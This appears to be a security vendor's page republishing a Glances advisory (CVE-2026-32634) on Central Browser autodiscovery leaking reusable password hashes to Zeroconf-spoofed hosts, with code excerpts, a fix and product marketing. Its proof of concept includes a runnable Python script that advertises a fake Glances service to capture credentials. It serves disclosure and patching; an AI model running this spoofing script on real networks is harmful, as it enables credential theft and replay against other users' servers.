Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-vx5f-957p-qpvm

HIGH

Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers

Also known asCVE-2026-32634
Published
Mar 16, 2026
Updated
Mar 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk20th percentile+0.26%
0.00%0.26%0.52%0.78%0.0%0.0%0.0%0.3%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍glances

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global [passwords] default credential.

An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.

Details

Dynamic server discovery keeps both a short name and a separate ip:

# glances/servers_list_dynamic.py:56-61
def add_server(self, name, ip, port, protocol='rpc'):
    new_server = {
        'key': name,
        'name': name.split(':')[0],  # Short name
        'ip': ip,  # IP address seen by the client
        'port': port,
        ...
        'type': 'DYNAMIC',
    }

The Zeroconf listener populates those fields directly from the service advertisement:

# glances/servers_list_dynamic.py:112-121
new_server_ip = socket.inet_ntoa(address)
new_server_port = info.port
...
self.servers.add_server(
    srv_name,
    new_server_ip,
    new_server_port,
    protocol=new_server_protocol,
)

However, the Central Browser connection logic ignores server['ip'] and instead uses the untrusted advertised server['name'] for both password lookup and the destination URI:

# glances/servers_list.py:119-130
def get_uri(self, server):
    if server['password'] != "":
        if server['status'] == 'PROTECTED':
            clear_password = self.password.get_password(server['name'])
            if clear_password is not None:
                server['password'] = self.password.get_hash(clear_password)
        uri = 'http://{}:{}@{}:{}'.format(
            server['username'],
            server['password'],
            server['name'],
            server['port'],
        )
    else:
        uri = 'http://{}:{}'.format(server['name'], server['port'])
    return uri

That URI is used automatically by the background polling thread:

# glances/servers_list.py:141-143
def __update_stats(self, server):
    server['uri'] = self.get_uri(server)

The password lookup itself falls back to the global default password when there is no exact match:

# glances/password_list.py:45-58
def get_password(self, host=None):
    ...
    try:
        return self._password_dict[host]
    except (KeyError, TypeError):
        try:
            return self._password_dict['default']
        except (KeyError, TypeError):
            return None

The sample configuration explicitly supports that default credential reuse:

# conf/glances.conf:656-663
[passwords]
# Define the passwords list related to the [serverlist] section
# ...
#default=defaultpassword

The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:

# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash
# glances/client.py:55-57
if args.password != "":
    self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'

There is an inconsistent trust boundary in the interactive browser code as well:

  • glances/client_browser.py:44 opens the REST/WebUI target via webbrowser.open(self.servers_list.get_uri(server)), which again trusts server['name']
  • glances/client_browser.py:55 fetches saved passwords with self.servers_list.password.get_password(server['name'])
  • glances/client_browser.py:76 uses server['ip'] for the RPC client connection

That asymmetry shows the intended safe destination (ip) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.

Exploit Flow

  1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in [passwords] (especially default=...).
  2. An attacker on the same multicast domain advertises a fake _glances._tcp.local. service with an attacker-controlled service name.
  3. Glances stores the discovered server as {'name': <advertised-name>, 'ip': <discovered-ip>, ...}.
  4. The background stats refresh calls get_uri(server).
  5. Once the fake server causes the entry to become PROTECTED, get_uri() looks up a saved password by the attacker-controlled name, falls back to default if present, hashes it, and builds http://username:hash@<advertised-name>:<port>.
  6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.

PoC

Step 1: Verified local logic proof

The following command executes the real glances/servers_list.py get_uri() implementation (with unrelated imports stubbed out) and demonstrates that:

  • password lookup happens against server['name'], not server['ip']
  • the generated credential-bearing URI uses server['name'], not server['ip']
cd D:\bugcrowd\glances\repo
@'
import importlib.util
import sys
import types
from pathlib import Path

pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg

client_mod = types.ModuleType('glances.client')
class GlancesClientTransport: pass
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod

globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = lambda x: x
sys.modules['glances.globals'] = globals_mod

logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
    debug=lambda *a, **k: None,
    warning=lambda *a, **k: None,
    info=lambda *a, **k: None,
    error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod

password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod

dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod

static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod

spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList

class FakePassword:
    def get_password(self, host=None):
        print(f'lookup:{host}')
        return 'defaultpassword'
    def get_hash(self, password):
        return f'hash({password})'

sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
server = {
    'name': 'trusted-host',
    'ip': '203.0.113.77',
    'port': 61209,
    'username': 'glances',
    'password': None,
    'status': 'PROTECTED',
    'type': 'DYNAMIC',
}

print(sl.get_uri(server))
print(server)
'@ | python -

Verified output:

lookup:trusted-host
http://glances:hash(defaultpassword)@trusted-host:61209
{'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}

This confirms the code path binds credentials to the advertised name and ignores the discovered ip.

Step 2: Live network reproduction

  1. Configure a reusable browser password:
# glances.conf
[passwords]
default=SuperSecretBrowserPassword
  1. Start Glances in Central Browser mode on the victim machine:
glances --browser -C ./glances.conf
  1. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes PROTECTED:
from zeroconf import ServiceInfo, Zeroconf
import socket
import time

zc = Zeroconf()
info = ServiceInfo(
    "_glances._tcp.local.",
    "198.51.100.50:61209._glances._tcp.local.",
    addresses=[socket.inet_aton("198.51.100.50")],
    port=61209,
    properties={b"protocol": b"rpc"},
    server="ignored.local.",
)
zc.register_service(info)
time.sleep(600)
  1. On the next Central Browser refresh, Glances first probes the fake server, marks it PROTECTED, then retries with:
http://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209
  1. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.

Impact

  • Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.
  • Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.
  • REST/WebUI click-through abuse: For REST servers, webbrowser.open(self.servers_list.get_uri(server)) can open attacker-controlled URLs with embedded credentials.
  • No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked PROTECTED.
  • Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.

Recommended Fix

Use the discovered ip as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.

# glances/servers_list.py

def _get_connect_host(self, server):
    if server.get('type') == 'DYNAMIC':
        return server['ip']
    return server['name']

def _get_preconfigured_password(self, server):
    # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds
    if server.get('type') == 'DYNAMIC':
        return None
    return self.password.get_password(server['name'])

def get_uri(self, server):
    host = self._get_connect_host(server)
    if server['password'] != "":
        if server['status'] == 'PROTECTED':
            clear_password = self._get_preconfigured_password(server)
            if clear_password is not None:
                server['password'] = self.password.get_hash(clear_password)
        return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])
    return 'http://{}:{}'.format(host, server['port'])

And use the same _get_preconfigured_password() logic in glances/client_browser.py instead of calling self.servers_list.password.get_password(server['name']) directly.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIglancesall versions4.5.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for glances. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update glances to 4.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vx5f-957p-qpvm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-vx5f-957p-qpvm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-vx5f-957p-qpvm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to
O3 Security · Impact-Aware SCA

Is GHSA-vx5f-957p-qpvm in your dependencies?

O3 detects GHSA-vx5f-957p-qpvm across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.